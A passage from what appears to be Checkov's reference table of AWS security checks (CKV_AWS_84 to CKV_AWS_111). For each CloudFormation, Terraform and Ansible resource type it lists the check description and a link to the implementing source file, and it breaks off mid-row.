Cloudformation          | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                      |\n|  348 | CKV_AWS_84               | resource                         | AWS::OpenSearchService::Domain                                                                   | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Cloudformation          | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                      |\n|  349 | CKV_AWS_84               | resource                         | aws_elasticsearch_domain                                                                         | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Terraform               | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                           |\n|  350 | CKV_AWS_84               | resource                         | aws_opensearch_domain                                                                            | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Terraform               | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                           |\n|  351 | CKV_AWS_85               | resource                         | AWS::DocDB::DBCluster                                                                            | Ensure DocumentDB Logging is enabled                                                                                                                                                                     | Cloudformation          | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py)                                                                                                  |\n|  352 | CKV_AWS_85               | resource                         | aws_docdb_cluster                                                                                | Ensure DocumentDB Logging is enabled                                                                                                                                                                     | Terraform               | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBLogging.py)                                                                                                       |\n|  353 | CKV_AWS_86               | resource                         | AWS::CloudFront::Distribution                                                                    | Ensure CloudFront Distribution has Access Logging enabled                                                                                                                                                | Cloudformation          | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py)                                                                |\n|  354 | CKV_AWS_86               | resource                         | aws_cloudfront_distribution                                                                      | Ensure CloudFront distribution has Access Logging enabled                                                                                                                                                | Terraform               | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py)                                                                     |\n|  355 | CKV_AWS_87               | resource                         | AWS::Redshift::Cluster                                                                           | Redshift cluster should not be publicly accessible                                                                                                                                                       | Cloudformation          | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py)                                                        |\n|  356 | CKV_AWS_87               | resource                         | aws_redshift_cluster                                                                             | Redshift cluster should not be publicly accessible                                                                                                                                                       | Terraform               | [RedshitClusterPubliclyAvailable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py)                                                                 |\n|  357 | CKV_AWS_88               | resource                         | AWS::EC2::Instance                                                                               | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation          | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                                    |\n|  358 | CKV_AWS_88               | resource                         | AWS::EC2::LaunchTemplate                                                                         | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation          | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                                    |\n|  359 | CKV_AWS_88               | resource                         | [?\"amazon.aws.ec2_instance\" != null][]                                                           | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  360 | CKV_AWS_88               | resource                         | [?\"ec2_instance\" != null][]                                                                      | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  361 | CKV_AWS_88               | resource                         | [].block[?\"amazon.aws.ec2_instance\" != null][]                                                   | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  362 | CKV_AWS_88               | resource                         | [].block[?\"ec2_instance\" != null][]                                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  363 | CKV_AWS_88               | resource                         | [].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                           | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  364 | CKV_AWS_88               | resource                         | [].block[].block[?\"ec2_instance\" != null][]                                                      | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  365 | CKV_AWS_88               | resource                         | [].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                   | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  366 | CKV_AWS_88               | resource                         | [].block[].block[].block[?\"ec2_instance\" != null][]                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  367 | CKV_AWS_88               | resource                         | [].tasks[?\"amazon.aws.ec2_instance\" != null][]                                                   | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  368 | CKV_AWS_88               | resource                         | [].tasks[?\"ec2_instance\" != null][]                                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  369 | CKV_AWS_88               | resource                         | [].tasks[].block[?\"amazon.aws.ec2_instance\" != null][]                                           | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  370 | CKV_AWS_88               | resource                         | [].tasks[].block[?\"ec2_instance\" != null][]                                                      | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  371 | CKV_AWS_88               | resource                         | [].tasks[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                                   | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  372 | CKV_AWS_88               | resource                         | [].tasks[].block[].block[?\"ec2_instance\" != null][]                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  373 | CKV_AWS_88               | resource                         | [].tasks[].block[].block[].block[?\"amazon.aws.ec2_instance\" != null][]                           | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  374 | CKV_AWS_88               | resource                         | [].tasks[].block[].block[].block[?\"ec2_instance\" != null][]                                      | EC2 instance should not have public IP.                                                                                                                                                                  | Ansible                 | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/task/aws/EC2PublicIP.py)                                                                                                               |\n|  375 | CKV_AWS_88               | resource                         | aws_instance                                                                                     | EC2 instance should not have public IP.                                                                                                                                                                  | Terraform               | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py)                                                                                                         |\n|  376 | CKV_AWS_88               | resource                         | aws_launch_template                                                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Terraform               | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py)                                                                                                         |\n|  377 | CKV_AWS_89               | resource                         | AWS::DMS::ReplicationInstance                                                                    | DMS replication instance should not be publicly accessible                                                                                                                                               | Cloudformation          | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py)                                          |\n|  378 | CKV_AWS_89               | resource                         | aws_dms_replication_instance                                                                     | DMS replication instance should not be publicly accessible                                                                                                                                               | Terraform               | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py)                                               |\n|  379 | CKV_AWS_90               | resource                         | AWS::DocDB::DBClusterParameterGroup                                                              | Ensure DocumentDB TLS is not disabled                                                                                                                                                                    | Cloudformation          | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py)                                                                                                          |\n|  380 | CKV_AWS_90               | resource                         | aws_docdb_cluster_parameter_group                                                                | Ensure DocumentDB TLS is not disabled                                                                                                                                                                    | Terraform               | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBTLS.py)                                                                                                               |\n|  381 | CKV_AWS_91               | resource                         | AWS::ElasticLoadBalancingV2::LoadBalancer                                                        | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Cloudformation          | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py)                                                                                            |\n|  382 | CKV_AWS_91               | resource                         | aws_alb                                                                                          | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Terraform               | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py)                                                                                                 |\n|  383 | CKV_AWS_91               | resource                         | aws_lb                                                                                           | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Terraform               | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py)                                                                                                 |\n|  384 | CKV_AWS_92               | resource                         | AWS::ElasticLoadBalancing::LoadBalancer                                                          | Ensure the ELB has access logging enabled                                                                                                                                                                | Cloudformation          | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py)                                                                                                |\n|  385 | CKV_AWS_92               | resource                         | aws_elb                                                                                          | Ensure the ELB has access logging enabled                                                                                                                                                                | Terraform               | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBAccessLogs.py)                                                                                                     |\n|  386 | CKV_AWS_93               | resource                         | aws_s3_bucket                                                                                    | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)                                                                                                | Terraform               | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py)                                                                     |\n|  387 | CKV_AWS_93               | resource                         | aws_s3_bucket_policy                                                                             | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)                                                                                                | Terraform               | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py)                                                                     |\n|  388 | CKV_AWS_94               | resource                         | AWS::Glue::DataCatalogEncryptionSettings                                                         | Ensure Glue Data Catalog Encryption is enabled                                                                                                                                                           | Cloudformation          | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py)                                                                        |\n|  389 | CKV_AWS_94               | resource                         | aws_glue_data_catalog_encryption_settings                                                        | Ensure Glue Data Catalog Encryption is enabled                                                                                                                                                           | Terraform               | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py)                                                                             |\n|  390 | CKV_AWS_95               | resource                         | AWS::ApiGatewayV2::Stage                                                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation          | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                                        |\n|  391 | CKV_AWS_95               | resource                         | AWS::Serverless::HttpApi                                                                         | Ensure API Gateway V2 has Access Logging enabled                                                                                                                                                         | Cloudformation          | [APIGatewayV2AccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayV2AccessLogging.py)                                                                        |\n|  392 | CKV_AWS_96               | resource                         | AWS::RDS::DBCluster                                                                              | Ensure all data stored in Aurora is securely encrypted at rest                                                                                                                                           | Cloudformation          | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AuroraEncryption.py)                                                                                          |\n|  393 | CKV_AWS_96               | resource                         | aws_rds_cluster                                                                                  | Ensure all data stored in Aurora is securely encrypted at rest                                                                                                                                           | Terraform               | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AuroraEncryption.py)                                                                                               |\n|  394 | CKV_AWS_97               | resource                         | AWS::ECS::TaskDefinition                                                                         | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions                                                                                                                          | Cloudformation          | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py)                                                  |\n|  395 | CKV_AWS_97               | resource                         | aws_ecs_task_definition                                                                          | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions                                                                                                                          | Terraform               | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py)                                                       |\n|  396 | CKV_AWS_98               | resource                         | aws_sagemaker_endpoint_configuration                                                             | Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest                                                                                                                           | Terraform               | [SagemakerEndpointConfigurationEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py)                                               |\n|  397 | CKV_AWS_99               | resource                         | AWS::Glue::SecurityConfiguration                                                                 | Ensure Glue Security Configuration Encryption is enabled                                                                                                                                                 | Cloudformation          | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/GlueSecurityConfiguration.py)                                                                        |\n|  398 | CKV_AWS_99               | resource                         | aws_glue_security_configuration                                                                  | Ensure Glue Security Configuration Encryption is enabled                                                                                                                                                 | Terraform               | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py)                                                                             |\n|  399 | CKV_AWS_100              | resource                         | AWS::EKS::Nodegroup                                                                              | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0                                                                                                                               | Cloudformation          | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py)                                                                          |\n|  400 | CKV_AWS_100              | resource                         | aws_eks_node_group                                                                               | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0                                                                                                                               | Terraform               | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py)                                                                               |\n|  401 | CKV_AWS_101              | resource                         | AWS::Neptune::DBCluster                                                                          | Ensure Neptune logging is enabled                                                                                                                                                                        | Cloudformation          | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterLogging.py)                                                                                |\n|  402 | CKV_AWS_101              | resource                         | aws_neptune_cluster                                                                              | Ensure Neptune logging is enabled                                                                                                                                                                        | Terraform               | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py)                                                                                     |\n|  403 | CKV_AWS_102              | resource                         | aws_neptune_cluster_instance                                                                     | Ensure Neptune Cluster instance is not publicly available                                                                                                                                                | Terraform               | [NeptuneClusterInstancePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py)                                                                       |\n|  404 | CKV_AWS_103              | resource                         | AWS::ElasticLoadBalancingV2::Listener                                                            | Ensure that Load Balancer Listener is using at least TLS v1.2                                                                                                                                            | Cloudformation          | [ALBListenerTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py)                                                                                          |\n|  405 | CKV_AWS_103              | resource                         | aws_alb_listener                                                                                 | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform               | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  406 | CKV_AWS_103              | resource                         | aws_lb                                                                                           | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform               | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  407 | CKV_AWS_103              | resource                         | aws_lb_listener                                                                                  | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform               | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  408 | CKV_AWS_104              | resource                         | AWS::DocDB::DBClusterParameterGroup                                                              | Ensure DocumentDB has audit logs enabled                                                                                                                                                                 | Cloudformation          | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBAuditLogs.py)                                                                                              |\n|  409 | CKV_AWS_104              | resource                         | aws_docdb_cluster_parameter_group                                                                | Ensure DocumentDB has audit logs enabled                                                                                                                                                                 | Terraform               | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBAuditLogs.py)                                                                                                   |\n|  410 | CKV_AWS_105              | resource                         | AWS::Redshift::ClusterParameterGroup                                                             | Ensure Redshift uses SSL                                                                                                                                                                                 | Cloudformation          | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedShiftSSL.py)                                                                                                    |\n|  411 | CKV_AWS_105              | resource                         | aws_redshift_parameter_group                                                                     | Ensure Redshift uses SSL                                                                                                                                                                                 | Terraform               | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedShiftSSL.py)                                                                                                         |\n|  412 | CKV_AWS_106              | resource                         | aws_ebs_encryption_by_default                                                                    | Ensure EBS default encryption is enabled                                                                                                                                                                 | Terraform               | [EBSDefaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py)                                                                                       |\n|  413 | CKV_AWS_107              | resource                         | AWS::IAM::Group                                                                                  | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation          | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                              |\n|  414 | CKV_AWS_107              | resource                         | AWS::IAM::ManagedPolicy                                                                          | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation          | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                              |\n|  415 | CKV_AWS_107              | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation          | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                              |\n|  416 | CKV_AWS_107              | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation          | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                              |\n|  417 | CKV_AWS_107              | resource                         | AWS::IAM::User                                                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Cloudformation          | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMCredentialsExposure.py)                                                                              |\n|  418 | CKV_AWS_107              | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)                                                                                       |\n|  419 | CKV_AWS_108              | resource                         | AWS::IAM::Group                                                                                  | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation          | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                                    |\n|  420 | CKV_AWS_108              | resource                         | AWS::IAM::ManagedPolicy                                                                          | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation          | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                                    |\n|  421 | CKV_AWS_108              | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation          | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                                    |\n|  422 | CKV_AWS_108              | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation          | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                                    |\n|  423 | CKV_AWS_108              | resource                         | AWS::IAM::User                                                                                   | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Cloudformation          | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMDataExfiltration.py)                                                                                    |\n|  424 | CKV_AWS_108              | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform               | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)                                                                                             |\n|  425 | CKV_AWS_109              | resource                         | AWS::IAM::Group                                                                                  | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation          | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                                          |\n|  426 | CKV_AWS_109              | resource                         | AWS::IAM::ManagedPolicy                                                                          | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation          | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                                          |\n|  427 | CKV_AWS_109              | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation          | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                                          |\n|  428 | CKV_AWS_109              | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation          | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                                          |\n|  429 | CKV_AWS_109              | resource                         | AWS::IAM::User                                                                                   | Ensure IAM policies does not allow permissions management without constraints                                                                                                                            | Cloudformation          | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPermissionsManagement.py)                                                                          |\n|  430 | CKV_AWS_109              | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform               | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)                                                                                   |\n|  431 | CKV_AWS_110              | resource                         | AWS::IAM::Group                                                                                  | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation          | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                              |\n|  432 | CKV_AWS_110              | resource                         | AWS::IAM::ManagedPolicy                                                                          | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation          | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                              |\n|  433 | CKV_AWS_110              | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation          | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                              |\n|  434 | CKV_AWS_110              | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation          | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                              |\n|  435 | CKV_AWS_110              | resource                         | AWS::IAM::User                                                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Cloudformation          | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                              |\n|  436 | CKV_AWS_110              | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)                                                                                       |\n|  437 | CKV_AWS_111              | resource                         | AWS::IAM::Group                                                                                  | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation          | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                              |\n|  438 | CKV_AWS_111              | resource                         | AWS::IAM::ManagedPolicy                                                                          | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation          | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                              |\n|  439 | CKV_AWS_111              | resource                         | AWS::IAM::Policy                                                                                 | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation          | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                              |\n|  440 | CKV_AWS_111              | resource                         | AWS::IAM::Role                                                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation          | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                              |\n|  441 | CKV_AWS_111              | resource                         | AWS::IAM::User                                                                                   | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Cloudformation          | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMWriteAccess.py)                                                                                              |\n|  442 | CKV_AWS_111              | data                             | aws_iam_policy_document                                                                          | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform               | 